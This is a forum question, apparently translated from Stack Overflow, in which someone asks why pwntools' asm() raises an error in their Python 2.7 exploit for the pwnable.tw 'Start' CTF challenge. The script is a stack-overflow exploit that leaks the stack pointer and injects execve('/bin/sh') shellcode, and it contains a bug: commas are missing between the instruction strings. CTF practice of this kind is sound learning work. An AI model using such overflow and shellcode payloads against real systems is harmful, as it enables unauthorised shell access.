Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
491 views
in Technique[技术] by (71.8m points)

python - 我在python2.7上使用asm遇到麻烦(I'm having some trouble working with asm on python2.7)

I was solving the first challenge Start on pwnable.tw and here is the code I've written:

(我正在解决第一个挑战Start pwnable.tw Start ,这是我编写的代码:)

from pwn import *

r = remote('chall.pwnable.tw', 10000)
context.arch = 'i386'
print(r.recvuntil('CTF:'))
payload1 = 'A'*20 + p32(0x08048087)
r.send(payload1)
esp = u32(r.recv()[:4])

shellcode = asm('
'.join([
    'push %d' % u32('/sh'),
    'push %d' % u32('/bin'),
    'mov eax, 0xb'
    'xor ecx, ecx'
    'xor edx, edx'
    'mov ebx, esp'
    'int 0x80'
]))

payload2 = 'A'*20 + p32(esp+20) + shellcode
r.send(payload2)
r.interactive() 

I'm getting an error on line 13. The error says that:

(我在第13行出现错误。该错误表示:)

[+] Opening connection to chall.pwnable.tw on port 10000: Done
Let's start the CTF:
Traceback (most recent call last):
  File "start.py", line 13, in <module>
    'mov eax, 0xb'
  File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/context/__init__.py", line 1440, in setter
    return function(*a, **kw)
  File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/asm.py", line 643, in asm
    assembler = _assembler()
  File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/asm.py", line 246, in _assembler
    version = re.search(r' (d.d+)', result).group(1)
AttributeError: 'NoneType' object has no attribute 'group'
[*] Closed connection to chall.pwnable.tw port 10000

What exactly is the error with the asm instructions on python2.7.17??

(python2.7.17上的asm指令到底有什么错误?)

  ask by Arav Garg translate from so

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)
等待大神答复

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...